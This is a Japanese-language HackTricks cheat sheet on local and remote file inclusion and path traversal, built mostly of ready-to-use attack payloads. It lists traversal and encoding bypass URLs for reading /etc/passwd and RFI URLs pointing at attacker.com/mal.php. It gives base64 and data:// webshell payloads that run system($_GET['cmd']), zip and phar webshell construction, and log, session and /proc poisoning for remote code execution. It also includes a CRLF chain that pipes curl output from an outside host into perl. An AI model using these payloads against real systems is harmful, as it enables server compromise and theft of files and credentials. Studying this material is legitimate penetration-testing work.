File Inclusion/Path traversal

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加してください!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく

最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る

Discordに参加して、今日からトップハッカーとコラボレーションを始めましょう!

ファイルインクルージョン

リモートファイルインクルージョン (RFI): ファイルはリモートサーバーから読み込まれます(最良: コードを書いてサーバーがそれを実行します)。PHPでは、これはデフォルトで無効です(allow_url_include)。 ローカルファイルインクルージョン (LFI): サーバーはローカルファイルを読み込みます。

脆弱性は、ユーザーがサーバーによって読み込まれるファイルを何らかの方法で制御できるときに発生します。

脆弱なPHP関数: require, require_once, include, include_once

この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap

ブラインド - 興味深い - LFI2RCEファイル

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

いくつかの *nix LFI リストを混ぜて、さらにパスを追加してこれを作成しました:

/\ に変更してみてください。 ../../../../../ を追加してみてください。

ファイル /etc/password を見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は こちら で見つけることができます。

Windows

異なるワードリストのマージ:

/\ に変更してみてください。 C:/ を削除して ../../../../../ を追加してみてください。

ファイル /boot.ini を見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は こちら で見つけることができます。

OS X

Linux の LFI リストを確認してください。

基本的な LFI とバイパス

すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

トラバーサルシーケンスが非再帰的に除去されました

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

ヌルバイト (%00)

提供された文字列の末尾にさらに文字を追加するのをバイパスします (バイパス: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

これはPHP 5.4以降解決されています

エンコーディング

ダブルURLエンコード(およびその他)などの非標準エンコーディングを使用できます:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

既存のフォルダーから

おそらくバックエンドはフォルダーパスをチェックしています:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバー上のファイルシステムディレクトリの探索

サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを特定し、特定のフォルダーの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:

  1. ディレクトリの深さを特定する: 現在のディレクトリの深さを確認するために、/etc/passwdファイルを正常に取得します(サーバーがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のように構成されるかもしれません:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. フォルダを調査する: 疑わしいフォルダの名前(例: private)をURLに追加し、その後/etc/passwdに戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 結果の解釈: サーバーの応答はフォルダーの存在を示します:

  • エラー / 出力なし: フォルダー private は指定された場所に存在しない可能性が高いです。

  • /etc/passwd の内容: private フォルダーの存在が確認されました。

  1. 再帰的探索: 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。

ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、/var/www/private ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)、次のようにします:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

パストランケーション技術

パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。

PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:

  • /etc/passwd/etc//passwd/etc/./passwd、および/etc/passwd/はすべて同じパスとして扱われます。

  • 最後の6文字がpasswdの場合、/を追加しても(passwd/にする)ターゲットファイルは変わりません。

  • 同様に、ファイルパスに.phpを追加した場合(shellcode.phpのように)、末尾に/.を追加してもアクセスされるファイルは変更されません。

提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである/etc/passwdにアクセスする方法を示しています:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必要なトラバーサルの数は約2027になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。

  • ドットセグメントと追加文字の使用: トラバーサルシーケンス(../)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。

  • 必要なトラバーサルの数を決定する: 試行錯誤を通じて、ルートディレクトリに移動し、その後/etc/passwdに移動するために必要な正確な../シーケンスの数を見つけることができ、追加された文字列(.phpなど)が無効化される一方で、目的のパス(/etc/passwd)はそのまま保持されます。

  • 偽のディレクトリから始める: パスを存在しないディレクトリ(a/など)で始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。

パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにテストがしばしば必要です。

この脆弱性はPHP 5.3で修正されました。

フィルターバイパストリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

phpでは、これはデフォルトで無効になっています。なぜなら、allow_url_includeがオフだからです。これがオンでなければ機能しません。その場合、サーバーからPHPファイルを含めてRCEを取得することができます:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし何らかの理由で allow_url_includeOn であるが、PHPが外部ウェブページへのアクセスを filtering している場合、この投稿 によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

前のコードでは、攻撃者が.txtで終わる文字列を必要としたため、最後に+.txtが追加されました。そのため、文字列はそれで終わり、b64デコードの後、その部分はただのゴミが返され、実際のPHPコードが含まれ(したがって、実行されます)。

別の例は**php://プロトコルを使用しない**ものです:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ルート要素

Pythonでは、このようなコードで:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーが**file_name絶対パス**を渡すと、前のパスは単に削除されます:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

It is the intended behaviour according to the docs:

コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。

Java List Directories

Javaでパストラバーサルがある場合、ファイルの代わりにディレクトリを要求すると、ディレクトリのリストが返されます。他の言語ではこれが発生することはありません(私の知る限り)。

Top 25 parameters

ここにローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストがあります(linkから):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な修正操作を実行することを可能にします。フィルターには5つのカテゴリがあります:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: データからタグを削除します("<" と ">" の間のすべて)

  • このフィルターは、現代のPHPバージョンからは消えています

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次を実行します:iconv -l

convert.iconv.*変換フィルターを悪用することで、任意のテキストを生成することができ、任意のテキストを記述したり、includeプロセスを任意のテキストにするような関数を作成するのに役立ちます。詳細については、LFI2RCE via php filtersを確認してください。

  • zlib.deflate: コンテンツを圧縮します(多くの情報を外部に抽出する場合に便利)

  • zlib.inflate: データを解凍します

  • mcrypt.* : 非推奨

  • mdecrypt.* : 非推奨

  • Other Filters

  • phpでvar_dump(stream_get_filters());を実行すると、いくつかの予期しないフィルターを見つけることができます:

  • consumed

  • dechunk: HTTPチャンクエンコーディングを逆転させます

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

「php://filter」の部分は大文字と小文字を区別しません

phpフィルタをオラクルとして使用して任意のファイルを読み取る

この記事では、サーバーから返される出力なしにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型漏洩(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。

元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:

  • コーデック**UCS-4LE**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。

  • これは、最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され、phpがエラーをトリガーします。

  • dechunkフィルタは、最初の文字が16進数でない場合はすべてを削除するため、最初の文字が16進数かどうかを知ることができます。

  • これに、前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数の文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。

  • コーデックconvert.iconv.UNICODE.CP930は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字がaであるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数の文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーがトリガーされます。

  • rot13のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。

  • 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。

  • 最後の問題は、最初の文字以上のものを漏洩させる方法を見ることです。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LEのような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。

  • さらにデータを取得するためのアイデアは、最初に2バイトのジャンクデータを生成し、convert.iconv.UTF16.UTF16を使用して、次の2バイトとピボットさせ、ジャンクデータまでデータを削除することです(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。

この記事では、これを自動的に実行するツールも漏洩されました:php_filters_chain_oracle_exploit

php://fd

このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

あなたはまた、php://stdin、php://stdout、および php://stderrを使用して、それぞれファイルディスクリプタ0、1、および2にアクセスできます(攻撃でどのように役立つかは不明です)。

zip:// と rar://

PHPShellを含むZipまたはRarファイルをアップロードし、それにアクセスします。 rarプロトコルを悪用できるようにするには、特に有効化する必要があります

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは、phpの設定 allow_url_openallow_url_include によって制限されています。

expect://

Expectを有効にする必要があります。これを使用してコードを実行できます:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POSTパラメータにペイロードを指定してください:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.pharファイルは、ウェブアプリケーションがファイル読み込みのためにincludeのような関数を利用する際に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、.pharファイルの作成を示しています:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.pharファイルをコンパイルするには、次のコマンドを実行する必要があります:

php --define phar.readonly=0 create_path.php

実行時に、test.pharという名前のファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。

LFIがPHPコードを実行せずにファイルを読み取るだけの場合、file_get_contents()fopen()file()file_exists()md5_file()filemtime()、またはfilesize()などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、pharプロトコルを使用してファイルを読み取ることに関連しています。

.pharファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを取得することが可能でした。 詳細な説明はこの投稿にあります 非常に簡単な要約:PHPヒープの3バイトオーバーフローが悪用され、特定のサイズのフリーチャンクのチェーンを変更することにより、任意のアドレスに何でも書き込むことができるようになり、**system**を呼び出すためのフックが追加されました。 特定のサイズのチャンクを割り当てることが、他のphpフィルターを悪用して可能でした。

その他のプロトコル

ここに含める可能性のある プロトコルをさらに確認してください:

  • php://memory and php://temp — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)

  • file:// — ローカルファイルシステムへのアクセス

  • http:// — HTTP(S) URLへのアクセス

  • ftp:// — FTP(S) URLへのアクセス

  • zlib:// — 圧縮ストリーム

  • glob:// — パターンに一致するパス名を見つける(何も印刷可能なものを返さないため、ここではあまり役に立たない)

  • ssh2:// — セキュアシェル2

  • ogg:// — オーディオストリーム(任意のファイルを読むには役に立たない)

PHPの'assert'によるLFI

PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。

例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:

assert("strpos('$file', '..') === false") or die("");

この目的はトラバーサルを防ぐことですが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:

' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するために、次のように使用することがあります:

' and die(system("id")) or '

重要なのは、これらのペイロードをURLエンコードすることです。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう

最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう

Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!

PHPブラインドパススラベル

この技術は、PHP関数ファイルパス制御できる場合に関連していますが、ファイルの内容は表示されません(**file()**への単純な呼び出しのように)が、内容は表示されません。

この素晴らしい投稿では、ブラインドパススラベルがPHPフィルターを介してエラーオラクルを介してファイルの内容を抽出する方法が説明されています。

要約すると、この技術は**"UCS-4LE"エンコーディングを使用して、ファイルの内容を非常に大きくし、ファイルを開くPHP関数エラー**を引き起こすようにします。

次に、最初の文字を漏洩させるためにフィルター**dechunkが使用され、base64やrot13などの他のフィルターと共に使用され、最終的にフィルターconvert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BEが使用されて他の文字を最初に配置して漏洩させます**。

脆弱性がある可能性のある関数: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (これで読み取り専用のターゲットのみ), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

技術的な詳細については、前述の投稿を確認してください!

LFI2RCE

リモートファイルインクルージョン

前述の通り、このリンクをフォローしてください

Apache/Nginxログファイル経由

ApacheまたはNginxサーバーがLFIに脆弱な場合、インクルード関数内で**/var/log/apache2/access.logまたは/var/log/nginx/access.logにアクセスし、ユーザーエージェント内またはGETパラメータ内にPHPシェルのような<?php system($_GET['c']); ?>**を設定し、そのファイルをインクルードすることができます。

シェルにシングルクォートの代わりにダブルクォートを使用すると、ダブルクォートが文字列"quote;"に変更され、PHPはそこでエラーをスローし他の何も実行されません

また、ペイロードを正しく記述することを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスがありません。

他のログでもこれを行うことができますが、注意してください、ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。 他の可能なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

内部アカウント (user@localhost) にメールを送信し、<?php echo system($_REQUEST["cmd"]); ?> のようなPHPペイロードを含め、/var/mail/<USERNAME> または /var/spool/mail/<USERNAME> のようなパスでユーザーのメールに含めることを試みます。

Via /proc/*/fd/*

  1. 多くのシェルをアップロードします (例えば: 100)

  2. http://example.com/index.php?page=/proc/$PID/fd/$FD を含めます。ここで $PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能)

Via /proc/self/environ

ログファイルのように、User-Agentにペイロードを送信し、それは/proc/self/environファイル内に反映されます。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

ファイルをアップロードできる場合は、シェルペイロードをその中に注入します(例: <?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

ファイルを読みやすく保つためには、画像/doc/pdfのメタデータに注入するのが最適です。

Zipファイルのアップロード経由

PHPシェルを圧縮したZIPファイルをアップロードし、アクセスします:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

ウェブサイトがPHPセッション(PHPSESSID)を使用しているか確認してください。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFIを使用してPHPセッションファイルを含める

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

sshがアクティブな場合、どのユーザーが使用されているかを確認します(/proc/self/status & /etc/passwd)し、<HOME>/.ssh/id_rsaにアクセスを試みます。

Via vsftpd logs

FTPサーバーvsftpdのログは_/var/log/vsftpd.log_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできる場合、以下の手順を考慮できます。

  1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。

  2. 注入後、LFIを利用して_/var/log/vsftpd.log_からサーバーログを取得します。

Via php base64 filter (using base64)

こちらの記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

このwriteupは、phpフィルターを使用して任意のコンテンツを出力として生成できることを説明しています。基本的には、ファイルに書き込むことなく任意のphpコードを生成できるということです。

LFI2RCE via PHP Filters

Via segmentation fault

ファイルをアップロードし、それが/tmp一時的に保存されるようにします。その後、同じリクエストでセグメンテーションフォルトを引き起こすと、一時ファイルは削除されず、それを探すことができます。

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

ローカルファイルインクルージョンを見つけた場合、セッションがない場合でも、session.auto_startOffであっても、PHP_SESSION_UPLOAD_PROGRESSをmultipart POSTデータで提供すると、PHPはセッションを有効にします。これを悪用してRCEを取得できます:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

この投稿で説明されているように、スクリプト/usr/local/lib/phppearcmd.phpは、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに=がない場合、それを引数として使用する必要があると示されています。

次のリクエストは、/tmp/hello.php<?=phpinfo()?>という内容のファイルを作成します:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

以下はCRLF脆弱性を悪用してRCEを取得するものです(こちらから):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo()を介して (file_uploads = on)

Local File Inclusionを見つけ、file_uploads = onの**phpinfo()**を公開しているファイルがあれば、RCEを取得できます:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + パス開示を介して

Local File Inclusionを見つけ、一時ファイルのパスを外部に流出させることができるが、サーバーが含めるファイルにPHPマークがあるかをチェックしている場合、このレースコンディションを使ってそのチェックをバイパス**しようとすることができます:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

永遠の待機 + ブルートフォースを介して

LFIを悪用して一時ファイルをアップロードし、サーバーがPHP実行をハングさせることができれば、数時間にわたってファイル名をブルートフォースして一時ファイルを見つけることができます:

LFI2RCE via Eternal waiting

致命的エラーに至る

/usr/bin/phar/usr/bin/phar7/usr/bin/phar.phar7/usr/bin/phar.pharのいずれかのファイルを含めると、致命的エラーが発生します。(そのエラーを引き起こすには、同じファイルを2回含める必要があります)。

これがどのように役立つのかはわかりませんが、役立つかもしれません。 たとえPHPの致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。

参考文献

125KB
EN-Local-File-Inclusion-1.pdf
pdf

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう

最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください

Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated